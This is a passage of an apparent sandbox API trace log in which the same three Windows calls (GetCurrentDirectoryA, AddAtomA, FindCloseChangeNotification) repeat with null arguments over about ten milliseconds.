lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.843] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.843] AddAtomA (lpString=0x0) returned 0x0 [0050.843] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.844] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.844] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.844] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.845] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.845] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.845] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.845] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.845] AddAtomA (lpString=0x0) returned 0x0 [0050.845] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.845] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.846] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.846] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.846] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.846] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.846] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.846] AddAtomA (lpString=0x0) returned 0x0 [0050.846] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.847] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.847] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.847] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.848] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.848] AddAtomA (lpString=0x0) returned 0x0 [0050.848] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.849] AddAtomA (lpString=0x0) returned 0x0 [0050.849] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.849] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.850] AddAtomA (lpString=0x0) returned 0x0 [0050.850] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.850] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.851] AddAtomA (lpString=0x0) returned 0x0 [0050.851] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.851] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.852] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.852] AddAtomA (lpString=0x0) returned 0x0 [0050.852] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.853] AddAtomA (lpString=0x0) returned 0x0 [0050.853] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.853] GetCurrentDirectoryA (in: nBufferLength=0x0, 